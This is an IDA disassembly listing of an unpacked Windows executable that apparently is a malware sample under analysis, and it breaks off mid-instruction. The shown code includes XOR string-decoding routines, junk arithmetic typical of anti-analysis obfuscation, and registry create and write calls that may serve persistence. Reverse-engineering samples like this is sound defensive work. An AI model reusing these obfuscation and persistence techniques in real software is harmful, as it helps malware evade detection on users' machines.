; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : E2DF2485E8FCBA03BEA16B330FFB8D9F ; File Name : u:\work\e2df2485e8fcba03bea16b330ffb8d9f_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _text segment para public 'DATA' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; DATA XREF: sub_401020+Ao ; sub_43F009+Ao arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h xor eax, eax inc eax mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 jz short locret_40101F mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40101F: ; CODE XREF: sub_401000+Ej retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401020 proc near ; CODE XREF: sub_40109A+BEp ; sub_40109A+ECp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_401000 push large dword ptr fs:0 mov large fs:0, esp loc_40103D: ; CODE XREF: sub_401020+44j ; sub_401020+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40106C cmp esi, [esp+1Ch+arg_4] jz short loc_40106C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40103D call dword ptr [ebx+esi*4+8] jmp short loc_40103D ; --------------------------------------------------------------------------- loc_40106C: ; CODE XREF: sub_401020+2Aj ; sub_401020+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_401020 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40107A proc near ; CODE XREF: sub_40109A+B1p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_401092 push [ebp+arg_0] call sub_40CAB8 ; RtlUnwind sub_40107A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401092 proc near ; DATA XREF: sub_40107A+Bo ; sub_43F063+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401092 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40109A proc near ; DATA XREF: sub_401219+10o ; sub_407F79+Ao ... var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h cld push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] mov dword_43C08C, eax mov dword_43C090, ebx test dword ptr [eax+4], 6 jnz loc_40117F mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax mov dword_43C090, eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4010DD: ; CODE XREF: sub_40109A+DCj cmp esi, 0FFFFFFFFh jz loc_40118E lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_40116D push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov dword_43C030, eax mov edx, [ebp+var_14] mov eax, [edx] mov dword_43C034, eax mov eax, [edx+4] mov dword_43C038, eax push esi push edi push ecx mov ecx, 14h lea edi, dword_43C03C mov esi, dword_43C034 rep movsd lea edi, dword_43C03C mov dword_43C034, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_40116D js short loc_40117B mov edi, [ebx+8] push ebx call sub_40107A add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_401020 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_40116D: ; CODE XREF: sub_40109A+54j ; sub_40109A+A9j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_4010DD ; --------------------------------------------------------------------------- loc_40117B: ; CODE XREF: sub_40109A+ABj xor eax, eax jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_40117F: ; CODE XREF: sub_40109A+23j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_401020 add esp, 0Ch loc_40118E: ; CODE XREF: sub_40109A+46j push 0 mov dword_43C010, 0Bh push 0Bh call sub_40CE48 add esp, 8 or eax, eax jnz short loc_4011C9 push 0 mov dword_43C010, 8 push 8 call sub_40CE48 add esp, 8 or eax, eax jnz short loc_4011C9 mov eax, 1 jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_4011C9: ; CODE XREF: sub_40109A+10Cj ; sub_40109A+126j cmp eax, 0FFFFFFFFh jz short loc_4011F8 push eax push dword_43C010 call sub_40CE48 add esp, 8 push dword_43C010 call sub_40CE30 add esp, 4 mov eax, 1 loc_4011F0: ; CODE XREF: sub_40109A+E3j ; sub_40109A+12Dj ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4011F8: ; CODE XREF: sub_40109A+132j cmp dword_43C02C, 0 jnz short loc_401208 mov eax, 1 jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_401208: ; CODE XREF: sub_40109A+165j mov eax, dword_43C02C push 0Bh jmp eax sub_40109A endp ; --------------------------------------------------------------------------- pop eax mov eax, 1 jmp short loc_4011F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401219 proc near ; CODE XREF: start+500j ; DATA XREF: start:loc_44A4FCo var_30 = word ptr -30h var_18 = dword ptr -18h var_4 = dword ptr -4 mov eax, large fs:0 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C01C push offset sub_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp push eax fnstcw [esp+30h+var_30] or [esp+30h+var_30], 300h fldcw [esp+30h+var_30] add esp, 4 push 0 push 0 push offset dword_43C028 push offset dword_43C024 push offset dword_43C020 call sub_40CDD0 push dword_43C028 push dword_43C024 push dword_43C020 mov dword_43C014, esp call sub_40C858 add esp, 18h xor ecx, ecx mov [ebp+var_4], ecx push eax call sub_40CE00 leave retn sub_401219 endp ; --------------------------------------------------------------------------- mov large fs:0, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40129C proc near ; CODE XREF: sub_408FEB+27p ; sub_408FEB+5Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43C09C lea eax, ds:41B7D0h[eax] push eax call sub_40CE18 add esp, 0Ch mov [ebp+var_4], 86h xor edi, edi jmp short loc_4012E4 ; --------------------------------------------------------------------------- loc_4012CA: ; CODE XREF: sub_40129C+4Aj mov eax, dword_43C09C add eax, edi lea eax, ds:41B7D0h[eax] movsx edx, byte ptr [eax] xor edx, 0B7h mov [eax], dl inc edi loc_4012E4: ; CODE XREF: sub_40129C+2Cj cmp edi, esi jl short loc_4012CA mov [ebp+var_8], 209h mov eax, dword_43C09C add eax, esi mov byte ptr ds:dword_41B7D0[eax], 0 xor edi, edi mov edi, dword_43C09C mov eax, edi add eax, 5 add eax, esi mov dword_43C09C, eax cmp eax, 0E03h jle short loc_401320 and dword_43C09C, 0 loc_401320: ; CODE XREF: sub_40129C+7Bj lea eax, dword_41B7D0[edi] pop edi pop esi leave retn sub_40129C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40132A proc near ; CODE XREF: sub_408165+144p var_14C2A = word ptr -14C2Ah var_14C27 = byte ptr -14C27h var_14C20 = dword ptr -14C20h var_14C1C = byte ptr -14C1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 14C2Ch call sub_40C8BC push ebx push esi push edi mov [ebp+var_4], 3479h mov eax, [ebp+var_4] mov edx, eax add edx, eax mov [ebp+var_4], edx lea edi, [ebp+var_14C27] lea esi, a7dRv ; "7d% r" mov ecx, 7 rep movsb push 0 push 0 push 3 push 0 push 0 push 80000000h push offset dword_40F270 call sub_40CAD0 ; CreateFileA mov [ebp+var_8], eax mov [ebp+var_A], 1A22h inc [ebp+var_A] cmp eax, 0FFFFFFFFh jnz short loc_401390 xor eax, eax jmp loc_40142C ; --------------------------------------------------------------------------- loc_401390: ; CODE XREF: sub_40132A+5Dj mov ax, word_43C237 mov [ebp+var_14C2A+1], ax push 0 lea eax, [ebp+var_14C20] push eax push 14C08h lea eax, [ebp+var_14C1C] push eax push [ebp+var_8] call sub_40CAAC ; ReadFile call sub_40C9C8 ; GetTickCount push [ebp+var_8] call sub_40C9B0 ; CloseHandle mov [ebp+var_B], 4Ch movzx eax, [ebp+var_B] imul eax, 5E4Ah mov [ebp+var_B], al xor ebx, ebx loc_4013DA: ; CODE XREF: sub_40132A+F4j mov eax, 3 sub eax, dword_43C094 push eax push offset byte_434080 lea eax, [ebp+ebx+var_14C1C] push eax call sub_401883 add esp, 0Ch cmp eax, 0FFFFh jz short loc_401407 xor eax, eax inc eax jmp short loc_40142C ; --------------------------------------------------------------------------- loc_401407: ; CODE XREF: sub_40132A+D6j mov [ebp+var_10], 149Dh add [ebp+var_10], 0E67h add ebx, 11h cmp ebx, [ebp+var_14C20] jb short loc_4013DA mov [ebp+var_14], 1204h inc [ebp+var_14] xor eax, eax loc_40142C: ; CODE XREF: sub_40132A+61j ; sub_40132A+DBj pop edi pop esi pop ebx leave retn sub_40132A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 4Ch push esi push dword ptr [ebp+8] mov eax, dword_43C248 lea eax, ds:41A7B0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_401479 ; --------------------------------------------------------------------------- loc_40145F: ; CODE XREF: .text:0040147Bj mov eax, dword_43C248 add eax, edi lea eax, ds:41A7B0h[eax] movsx edx, byte ptr [eax] xor edx, 92h mov [eax], dl inc edi loc_401479: ; CODE XREF: .text:0040145Dj cmp edi, esi jl short loc_40145F mov dword ptr [ebp-8], 1E9h mov eax, dword_43C248 add eax, esi mov byte ptr ds:dword_41A7B0[eax], 0 xor edi, edi mov edi, dword_43C248 mov eax, edi add eax, 4 add eax, esi mov dword_43C248, eax add dword_43C248, 3 cmp dword_43C248, 0DC7h jle short loc_4014C1 and dword_43C248, 0 loc_4014C1: ; CODE XREF: .text:004014B8j lea eax, dword_41A7B0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014CB proc near ; CODE XREF: sub_4063C4+D2p ; sub_408C17+130p ... var_17 = byte ptr -17h var_16 = byte ptr -16h var_11 = byte ptr -11h var_10 = byte ptr -10h var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_2], 7C97h movzx eax, [ebp+var_2] imul eax, 4E81h mov [ebp+var_2], ax mov ebx, 63DEh sub ebx, 64DDh lea eax, [ebp+var_8] push eax push 20019h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40CD58 ; RegOpenKeyExA mov ebx, eax lea edi, [ebp+var_10] lea esi, aOajrO ; "oAjR;o-" movsd movsd or ebx, ebx jz short loc_40151E xor eax, eax jmp short loc_401575 ; --------------------------------------------------------------------------- loc_40151E: ; CODE XREF: sub_4014CB+4Dj lea edi, [ebp+var_11] lea esi, byte_43C254 xor ecx, ecx inc ecx rep movsb push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_8] call sub_40CD64 ; RegQueryValueExA mov ebx, eax lea edi, [ebp+var_16] lea esi, aNsg7 ; "nS7" mov ecx, 5 rep movsb push [ebp+var_8] call sub_40CD4C ; RegCloseKey lea edi, [ebp+var_17] lea esi, word_43C25A sub_4014CB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401565 proc near ; DATA XREF: .data:0044011Do xor ecx, ecx inc ecx rep movsb or ebx, ebx jz short loc_401572 xor eax, eax jmp short loc_401575 ; --------------------------------------------------------------------------- loc_401572: ; CODE XREF: sub_401565+7j xor eax, eax inc eax loc_401575: ; CODE XREF: sub_4014CB+51j ; sub_401565+Bj pop edi pop esi pop ebx leave retn sub_401565 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 4Ch push esi push dword ptr [ebp+8] mov eax, dword_43C264 lea eax, ds:4351F0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_4015C2 ; --------------------------------------------------------------------------- loc_4015A8: ; CODE XREF: .text:004015C4j mov eax, dword_43C264 add eax, edi lea eax, ds:4351F0h[eax] movsx edx, byte ptr [eax] xor edx, 92h mov [eax], dl inc edi loc_4015C2: ; CODE XREF: .text:004015A6j cmp edi, esi jl short loc_4015A8 mov dword ptr [ebp-8], 1E9h mov eax, dword_43C264 add eax, esi mov byte ptr ds:dword_4351F0[eax], 0 xor edi, edi mov edi, dword_43C264 mov eax, edi add eax, 4 add eax, esi mov dword_43C264, eax add dword_43C264, 3 cmp dword_43C264, 0DC7h jle short loc_40160A and dword_43C264, 0 loc_40160A: ; CODE XREF: .text:00401601j lea eax, dword_4351F0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401614 proc near ; CODE XREF: sub_406073+B7p ; sub_406073+E5p ... var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_15 = byte ptr -15h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_2], 7C97h movzx eax, [ebp+var_2] imul eax, 4E81h mov [ebp+var_2], ax mov ebx, 63DEh sub ebx, 64DDh lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40CD40 ; RegCreateKeyExA mov ebx, eax lea edi, [ebp+var_14] lea esi, aOajrO_0 ; "oAjR;o-" movsd movsd or ebx, ebx jz short loc_401671 xor eax, eax jmp short loc_4016DA ; --------------------------------------------------------------------------- loc_401671: ; CODE XREF: sub_401614+57j lea edi, [ebp+var_15] lea esi, byte_43C270 xor ecx, ecx inc ecx rep movsb push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_8] call sub_40CD70 ; RegSetValueExA mov ebx, eax lea edi, [ebp+var_1A] lea esi, aNsg7_0 ; "nS7" mov ecx, 5 rep movsb push [ebp+var_8] call sub_40CD4C ; RegCloseKey lea edi, [ebp+var_1B] lea esi, word_43C276 xor ecx, ecx inc ecx rep movsb or ebx, ebx jz short loc_4016C5 xor eax, eax jmp short loc_4016DA ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401614+ABj cmp [ebp+var_C], 1 jnz short loc_4016D2 mov eax, 2 jmp short loc_4016DA ; --------------------------------------------------------------------------- loc_4016D2: ; CODE XREF: sub_401614+B5j call sub_40C938 ; GetCurrentProcessId xor eax, eax inc eax loc_4016DA: ; CODE XREF: sub_401614+5Bj ; sub_401614+AFj ... pop edi pop esi pop ebx leave retn sub_401614 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 121h push esi push dword ptr [ebp+8] mov eax, dword_43C280 lea eax, ds:4383A0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_401727 ; --------------------------------------------------------------------------- loc_40170D: ; CODE XREF: .text:00401729j mov eax, dword_43C280 add eax, edi lea eax, ds:4383A0h[eax] movsx edx, byte ptr [eax] xor edx, 0F0h mov [eax], dl inc edi loc_401727: ; CODE XREF: .text:0040170Bj cmp edi, esi jl short loc_40170D mov dword ptr [ebp-8], 1BAh mov eax, dword_43C280 add eax, esi mov byte ptr ds:dword_4383A0[eax], 0 xor edi, edi mov edi, dword_43C280 mov eax, edi lea eax, [eax+esi+4] mov dword_43C280, eax inc dword_43C280 cmp dword_43C280, 0DC1h jle short loc_40176D and dword_43C280, 0 loc_40176D: ; CODE XREF: .text:00401764j lea eax, dword_4383A0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401777 proc near ; CODE XREF: sub_4056CB+141p ; sub_408C17+6Ap ... var_6 = byte ptr -6 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push ebx push esi push edi lea edi, [ebp+var_3] lea esi, byte_43C284 xor ecx, ecx inc ecx rep movsb mov [ebp+var_2], 46CBh add [ebp+var_2], 66B1h xor ebx, ebx jmp short loc_4017C5 ; --------------------------------------------------------------------------- loc_40179D: ; CODE XREF: sub_401777+51j call sub_40CE3C mov edi, [ebp+arg_0] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [edi+ebx], dl inc ebx loc_4017C5: ; CODE XREF: sub_401777+24j cmp ebx, [ebp+arg_4] jl short loc_40179D lea edi, [ebp+var_6] lea esi, byte_43C285 mov ecx, 3 rep movsb mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] mov byte ptr [edx+eax], 0 mov eax, edx pop edi pop esi pop ebx leave retn sub_401777 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 121h push esi push dword ptr [ebp+8] mov eax, dword_43C290 lea eax, ds:42FD60h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_401833 ; --------------------------------------------------------------------------- loc_401819: ; CODE XREF: .text:00401835j mov eax, dword_43C290 add eax, edi lea eax, ds:42FD60h[eax] movsx edx, byte ptr [eax] xor edx, 0F0h mov [eax], dl inc edi loc_401833: ; CODE XREF: .text:00401817j cmp edi, esi jl short loc_401819 mov dword ptr [ebp-8], 1BAh mov eax, dword_43C290 add eax, esi mov byte ptr ds:dword_42FD60[eax], 0 xor edi, edi mov edi, dword_43C290 mov eax, edi lea eax, [eax+esi+4] mov dword_43C290, eax inc dword_43C290 cmp dword_43C290, 0DC1h jle short loc_401879 and dword_43C290, 0 loc_401879: ; CODE XREF: .text:00401870j lea eax, dword_42FD60[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401883 proc near ; CODE XREF: sub_40132A+C9p ; sub_405415+7Fp ... var_20 = byte ptr -20h var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi call sub_40C9D4 ; GetVersion and [ebp+var_C], 0 call sub_40C968 ; RtlGetLastWin32Error and [ebp+var_8], 0 jmp loc_40195C ; --------------------------------------------------------------------------- loc_4018A3: ; CODE XREF: sub_401883+EBj call sub_40C968 ; RtlGetLastWin32Error and [ebp+var_4], 0 mov [ebp+var_E], 137Ch sub [ebp+var_E], 4443h xor ebx, ebx jmp loc_401942 ; --------------------------------------------------------------------------- loc_4018BF: ; CODE XREF: sub_401883+D0j call sub_40C9C8 ; GetTickCount mov eax, [ebp+var_8] add eax, ebx mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+eax] mov edx, [ebp+arg_4] movsx edx, byte ptr [edx+ebx] cmp eax, edx jnz short loc_4018DE inc [ebp+var_4] loc_4018DE: ; CODE XREF: sub_401883+56j mov [ebp+var_14], 66A4h mov eax, 216Dh mul [ebp+var_14] mov [ebp+var_18], eax mov [ebp+var_14], eax mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_4018FB: ; CODE XREF: sub_401883+7Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4018FB cmp [ebp+var_4], eax jnz short loc_401941 mov [ebp+var_1A], 73F8h movzx eax, [ebp+var_1A] imul eax, 1439h mov [ebp+var_1A], ax inc [ebp+var_C] call sub_40C9D4 ; GetVersion mov eax, [ebp+arg_8] cmp [ebp+var_C], eax jnz short loc_401930 mov eax, [ebp+var_8] jmp short loc_401979 ; --------------------------------------------------------------------------- loc_401930: ; CODE XREF: sub_401883+A6j lea edi, [ebp+var_20] lea esi, aPvX ; "PV |x" mov ecx, 3 rep movsw loc_401941: ; CODE XREF: sub_401883+82j inc ebx loc_401942: ; CODE XREF: sub_401883+37j mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_40194A: ; CODE XREF: sub_401883+CCj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40194A cmp ebx, eax jb loc_4018BF inc [ebp+var_8] loc_40195C: ; CODE XREF: sub_401883+1Bj mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_401964: ; CODE XREF: sub_401883+E6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_401964 cmp [ebp+var_8], eax jb loc_4018A3 mov eax, 0FFFFh loc_401979: ; CODE XREF: sub_401883+ABj pop edi pop esi pop ebx leave retn sub_401883 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43C2A4 lea eax, ds:416400h[eax] push eax call sub_40CE18 add esp, 0Ch mov dword ptr [ebp-4], 0C5h xor edi, edi jmp short loc_4019C3 ; --------------------------------------------------------------------------- loc_4019AC: ; CODE XREF: .text:004019C5j mov eax, dword_43C2A4 add eax, edi lea eax, ds:416400h[eax] movsx edx, byte ptr [eax] xor edx, 0Ah mov [eax], dl inc edi loc_4019C3: ; CODE XREF: .text:004019AAj cmp edi, esi jl short loc_4019AC mov dword ptr [ebp-8], 167h mov eax, dword_43C2A4 add eax, esi mov byte ptr ds:dword_416400[eax], 0 xor edi, edi mov edi, dword_43C2A4 mov eax, edi inc eax add eax, esi mov dword_43C2A4, eax cmp eax, 0DB9h jle short loc_4019FD and dword_43C2A4, 0 loc_4019FD: ; CODE XREF: .text:004019F4j lea eax, dword_416400[edi] pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+10h] mov ebx, [ebp+14h] mov byte ptr [ebp-1], 9Dh sub byte ptr [ebp-1], 6Bh mov word ptr [ebp-4], 75F5h add word ptr [ebp-4], 74D0h mov edi, esi jmp short loc_401A48 ; --------------------------------------------------------------------------- loc_401A2C: ; CODE XREF: .text:00401A4Aj mov eax, [ebp+8] movsx eax, byte ptr [eax+edi] mov edx, edi sub edx, esi mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+edx] cmp eax, edx jz short loc_401A47 xor eax, eax inc eax jmp short loc_401A4E ; --------------------------------------------------------------------------- loc_401A47: ; CODE XREF: .text:00401A40j inc edi loc_401A48: ; CODE XREF: .text:00401A2Aj cmp edi, ebx jl short loc_401A2C xor eax, eax loc_401A4E: ; CODE XREF: .text:00401A45j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 25Eh push esi push dword ptr [ebp+8] mov eax, dword_43C2B0 lea eax, ds:434180h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_401A99 ; --------------------------------------------------------------------------- loc_401A82: ; CODE XREF: .text:00401A9Bj mov eax, dword_43C2B0 add eax, edi lea eax, ds:434180h[eax] movsx edx, byte ptr [eax] xor edx, 6Eh mov [eax], dl inc edi loc_401A99: ; CODE XREF: .text:00401A80j cmp edi, esi jl short loc_401A82 mov dword ptr [ebp-8], 0FDh mov eax, dword_43C2B0 add eax, esi mov byte ptr ds:dword_434180[eax], 0 xor edi, edi mov edi, dword_43C2B0 mov eax, edi lea eax, [eax+esi+3] mov dword_43C2B0, eax add dword_43C2B0, 2 cmp dword_43C2B0, 0E0Fh jle short loc_401AE0 and dword_43C2B0, 0 loc_401AE0: ; CODE XREF: .text:00401AD7j mov dword ptr [ebp-0Ch], 94h lea eax, dword_434180[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AF1 proc near ; CODE XREF: sub_4056CB+46p ; sub_4063C4+43Fp ... var_24 = dword ptr -24h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_18 = byte ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi lea edi, [ebp+var_13] lea esi, aT ; "#, t&" mov ecx, 3 rep movsw push 0 push 80h push 3 push 0 push 3 push 80000000h push [ebp+arg_0] call sub_40CAD0 ; CreateFileA mov ebx, eax mov [ebp+var_2], 2197h add [ebp+var_2], 396h cmp ebx, 0FFFFFFFFh jnz short loc_401B55 mov [ebp+var_20], 0C9h add [ebp+var_20], 0F1h cmp [ebp+arg_4], 0 jz short loc_401B4C mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_401B4C: ; CODE XREF: sub_401AF1+53j call sub_40C9D4 ; GetVersion xor eax, eax jmp short loc_401BC5 ; --------------------------------------------------------------------------- loc_401B55: ; CODE XREF: sub_401AF1+45j push 0 push ebx call sub_40C950 ; GetFileSize mov [ebp+var_8], eax lea edi, [ebp+var_14] lea esi, byte_43C2BA xor ecx, ecx inc ecx rep movsb mov eax, [ebp+var_8] add eax, 10h push eax push 40h call sub_40CA7C ; LocalAlloc mov [ebp+var_C], eax push 0 cmp [ebp+arg_4], 0 jz short loc_401B8F mov eax, [ebp+arg_4] mov [ebp+var_24], eax jmp short loc_401B95 ; --------------------------------------------------------------------------- loc_401B8F: ; CODE XREF: sub_401AF1+94j lea eax, [ebp+var_18] mov [ebp+var_24], eax loc_401B95: ; CODE XREF: sub_401AF1+9Cj push [ebp+var_24] push [ebp+var_8] push [ebp+var_C] push ebx call sub_40CAAC ; ReadFile mov [ebp+var_D], 1Ch sub [ebp+var_D], 8 push ebx call sub_40C9B0 ; CloseHandle lea edi, [ebp+var_1F] lea esi, byte_43C2BB mov ecx, 7 rep movsb mov eax, [ebp+var_C] loc_401BC5: ; CODE XREF: sub_401AF1+62j pop edi pop esi pop ebx leave retn sub_401AF1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 25Eh push esi push dword ptr [ebp+8] mov eax, dword_43C2CC lea eax, ds:4108A0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_401C10 ; --------------------------------------------------------------------------- loc_401BF9: ; CODE XREF: .text:00401C12j mov eax, dword_43C2CC add eax, edi lea eax, ds:4108A0h[eax] movsx edx, byte ptr [eax] xor edx, 6Eh mov [eax], dl inc edi loc_401C10: ; CODE XREF: .text:00401BF7j cmp edi, esi jl short loc_401BF9 mov dword ptr [ebp-8], 0FDh mov eax, dword_43C2CC add eax, esi mov byte ptr ds:dword_4108A0[eax], 0 xor edi, edi mov edi, dword_43C2CC mov eax, edi lea eax, [eax+esi+3] mov dword_43C2CC, eax add dword_43C2CC, 2 cmp dword_43C2CC, 0E0Fh jle short loc_401C57 and dword_43C2CC, 0 loc_401C57: ; CODE XREF: .text:00401C4Ej mov 